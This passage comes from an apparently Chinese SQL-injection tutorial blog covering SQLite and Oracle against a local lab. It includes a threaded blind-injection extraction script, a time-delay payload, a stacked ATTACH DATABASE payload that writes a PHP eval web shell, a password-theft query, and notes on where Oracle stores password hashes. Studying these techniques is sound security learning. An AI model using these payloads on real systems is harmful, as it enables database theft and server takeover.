style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    def</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> test_char</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            return</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        payload</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"admin' and substr((</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">target</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">),</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">position</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">,1)='</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">' --+\"</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            response</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">url</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">params</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">payload</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">super</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> response</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">text</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                with</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> lock</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                        stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        except</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> requests</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">RequestException</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            pass</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    threads </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> ch </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> char</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threading</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Thread</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">target</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">test_char</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ch</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        threads</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">append</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">t</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">start</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> len</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">threads</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">max_threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">                t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">            threads</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">            if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> stop_event</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">is_set</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">                break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    for</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> t </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">in</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> threads</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        t</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">join</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    if</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> is</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> not</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> None</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">        result </span><span style=\"color:#999999;--shiki-dark:#666666\">+=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> found</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">char</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    else</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">请求结束</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        break</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/05/29/%E5%85%B6%E4%BB%96%E7%B3%BB%E7%BB%9F%E5%BA%93%E7%B1%BB%E5%9E%8B%E4%B8%8B%E7%9A%84SQL%E6%B3%A8%E5%85%A5/34.png\" class=\"\"></p>\n<h2 id=\"伪时间盲注\"><a class=\"anchor\" href=\"#伪时间盲注\">#</a> 伪时间盲注</h2>\n<p>SQLite中没有<code>sleep()</code>和<code>pg_sleep()</code>函数，只能使用<code>randomblob()</code>实现大计算延迟：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name=admin' and case when substr((select name from sqlite_master),1,1)='u' then length(randomblob(10000000)) else 1 end --+</span></span></code></pre>\n<p>但是这种方式极其不稳定，受机器性能影响很大，所以不太建议使用这个方法，就不过多赘述了</p>\n<h2 id=\"sql写马\"><a class=\"anchor\" href=\"#sql写马\">#</a> SQL写马</h2>\n<p>SQL写马利用的是<code>attach database</code>这个东西，还要用上堆叠注入，但是靶场好像不允许一次执行多条命令，显示<code>You can only execute one statement at a time.</code></p>\n<p>给给payload吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>?name='; ATTACH DATABASE 'E:\\OtherSQL\\SQLite_lab\\shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('&#x3C;?php eval($_POST[1]);?>'); --</span></span></code></pre>\n<p>在<a href=\"https://xiexie-qiuligao.github.io/2026/02/09/sql/%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%E8%BF%98%E6%8F%90%E5%88%B0%E4%BA%86%E4%B8%80%E4%B8%AA%E8%B7%A8%E5%BA%93%E7%AA%83%E5%8F%96%EF%BC%8C%E9%9C%80%E8%A6%81%E5%B7%B2%E7%9F%A5%E7%A7%98%E5%AF%86%60.db%60%E6%96%87%E4%BB%B6%E7%9A%84%E8%B7%AF%E5%BE%84%EF%BC%9A\">https://xiexie-qiuligao.github.io/2026/02/09/sql/的文章中还提到了一个跨库窃取，需要已知秘密`.db`文件的路径：</a></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ATTACH DATABASE '/var/data/admin_secret.db' AS target;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>UNION SELECT 1, password, 3 FROM target.admin_table;</span></span></code></pre>\n<h1 id=\"oracle\"><a class=\"anchor\" href=\"#oracle\">#</a> Oracle</h1>\n<h2 id=\"数据库架构以及核心字段名-3\"><a class=\"anchor\" href=\"#数据库架构以及核心字段名-3\">#</a> 数据库架构以及核心字段名</h2>\n<p>Oracle的整体结构可以理解为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Oracle Database</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>User / Schema</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Table / View / Sequence / Procedure / Package</span></span>\n<span class=\"line\"><span>  ↓</span></span>\n<span class=\"line\"><span>Column / Row</span></span></code></pre>\n<p>Oracle中最重要的一点是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>User ≈ Schema</span></span></code></pre>\n<p>比如创建了一个用户：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE USER HR IDENTIFIED BY password;</span></span></code></pre>\n<p>这个<code>HR</code>也可以代表一个schema，在对HR创建一张表<code>employees</code>的话这张表的完整名称可以是<code>HR.employees</code>，另外Oracle默认会把未加双引号的对象名转成大写</p>\n<p>Oracle没有<code>information_schema</code>也没有<code>sqlite_master</code>，它用的是数据字典视图，最常见的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>USER_*</span></span>\n<span class=\"line\"><span># 表示当前用户自己拥有的对象</span></span>\n<span class=\"line\"><span>例如：SELECT table_name FROM user_tables;</span></span>\n<span class=\"line\"><span>Oracle官方文档说明，USER_TABLES描述的是当前用户拥有的关系表，而且它的列与ALL_TABLES基本相同，只是不显示OWNER列</span></span>\n<span class=\"line\"><span>常见视图：</span></span>\n<span class=\"line\"><span>USER_TABLES</span></span>\n<span class=\"line\"><span>USER_TAB_COLUMNS</span></span>\n<span class=\"line\"><span>USER_OBJECTS</span></span>\n<span class=\"line\"><span>USER_VIEWS</span></span>\n<span class=\"line\"><span>USER_SEQUENCES</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>ALL_*</span></span>\n<span class=\"line\"><span># 表示当前用户有权限访问的对象</span></span>\n<span class=\"line\"><span>例如：SELECT owner, table_name FROM all_tables;</span></span>\n<span class=\"line\"><span>Oracle官方文档说明，ALL_TABLES描述的是当前用户可访问的关系表；相关视图中，USER_TABLES描述当前用户拥有的表，DBA_TABLES描述数据库中所有的关系表</span></span>\n<span class=\"line\"><span>常见视图：</span></span>\n<span class=\"line\"><span>ALL_TABLES</span></span>\n<span class=\"line\"><span>ALL_TAB_COLUMNS</span></span>\n<span class=\"line\"><span>ALL_OBJECTS</span></span>\n<span class=\"line\"><span>ALL_VIEWS</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>DBA_*</span></span>\n<span class=\"line\"><span># 表示数据库管理员视角下的所有对象</span></span>\n<span class=\"line\"><span>例如：SELECT owner, table_name FROM dba_tables;</span></span>\n<span class=\"line\"><span>但普通用户通常没有权限查DBA_*，Oracle官方文档说明，DBA_TABLES描述数据库中所有的关系表</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>V$* 动态性能视图</span></span>\n<span class=\"line\"><span>例如：</span></span>\n<span class=\"line\"><span>V$VERSION</span></span>\n<span class=\"line\"><span>V$DATABASE</span></span>\n<span class=\"line\"><span>V$SESSION</span></span>\n<span class=\"line\"><span>V$INSTANCE</span></span>\n<span class=\"line\"><span>这类视图通常和数据库运行状态，会话，实例信息有关，普通用户不一定有权限访问</span></span></code></pre>\n<p>Oracle中很特殊的一点是很多select常量或函数时必须要<code>FROM DUAL</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-sql\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 1</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> FROM</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> dual;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> USER </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">FROM</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> dual;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">SELECT</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> SYSDATA </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">FROM</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> dual;</span></span></code></pre>\n<p>Oracle官方文档说明，<code>DUAL</code>是Oracle自动创建的数据字典表，位于<code>sys schema</code>，但所有用户都可以通过<code>DUAL</code>访问，他只有一行，因此常用于select计算常量表达式</p>\n<p><strong>核心数据视图与字段名</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>all_tables</span></span>\n<span class=\"line\"><span># 查表名</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>owner</span></span>\n<span class=\"line\"><span># 表的所有者，相当于其他数据库的schema或database概念，在oracle中通常一个用户就对应一个schema</span></span>\n<span class=\"line\"><span>table_name</span></span>\n<span class=\"line\"><span># 表名</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>all_tab_columns</span></span>\n<span class=\"line\"><span># 查列名</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>owner</span></span>\n<span class=\"line\"><span># 表的所有者</span></span>\n<span class=\"line\"><span>table_name</span></span>\n<span class=\"line\"><span># 表名</span></span>\n<span class=\"line\"><span>column_name</span></span>\n<span class=\"line\"><span># 列名</span></span>\n<span class=\"line\"><span>data_type</span></span>\n<span class=\"line\"><span># 数据类型（如varchar2,number）</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>all_objects</span></span>\n<span class=\"line\"><span># 查全局对象，在oracle中，表、视图、索引、存储过程等都被统称为对象，当无法访问al_tables或想查看存储过程时可以查all_objects</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>owner</span></span>\n<span class=\"line\"><span># 对象所有者</span></span>\n<span class=\"line\"><span>object_name</span></span>\n<span class=\"line\"><span># 对象名称（表名、视图名等）</span></span>\n<span class=\"line\"><span>object_type</span></span>\n<span class=\"line\"><span># 对象类型（'table'、'view'、'procedure'）</span></span></code></pre>\n<p>查环境与用户信息：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>V$VERSION</span></span>\n<span class=\"line\"><span># 版本信息</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>banner</span></span>\n<span class=\"line\"><span># 包含详细版本信息的长字符串</span></span>\n<span class=\"line\"><span>select banner from v$version</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>GLOBAL_NAME</span></span>\n<span class=\"line\"><span># 当前数据库名</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>GLOBAL_NAME</span></span>\n<span class=\"line\"><span>select global_name from global_name</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>ALL_USERS</span></span>\n<span class=\"line\"><span># 查所有用户</span></span>\n<span class=\"line\"><span>核心字段：</span></span>\n<span class=\"line\"><span>username</span></span>\n<span class=\"line\"><span>select username from global_name</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>SYS.USER$或DBA_USERS</span></span>\n<span class=\"line\"><span># 查密码哈希</span></span>\n<span class=\"line\"><span>oracle对密码哈希的保护极其严格，在早期版本（10g及以前），密码哈希存在dba_users.password中，在11g及以后转移到了更底层的sys.user$password或spare4中，普通人极难获取到</span></span></code></pre>\n<h2 id=\"本地靶场搭建\"><a class=\"anchor\" href=\"#本地靶场搭建\">#</a> 本地靶场搭建</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker run -d --name oracle-lab -p 1521:1521 -e ORACLE_PASSWORD=root gvenzl/oracle-xe:slim</span></span>\n<span class=\"line\"><span># 拉取并运行Oracle 11g或21c的精简版</span></span>\n<span class=\"line\"><span>python3 -m pip install flask oracledb</span></span>\n<span class=\"line\"><span># 准备python环境</span></span></code></pre>\n<p>创建一个文件夹在里面创建一个<code>app.py</code>文件，粘贴以下内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> oracledb</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> flask </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> request</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">app </span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Flask</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">__name__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span 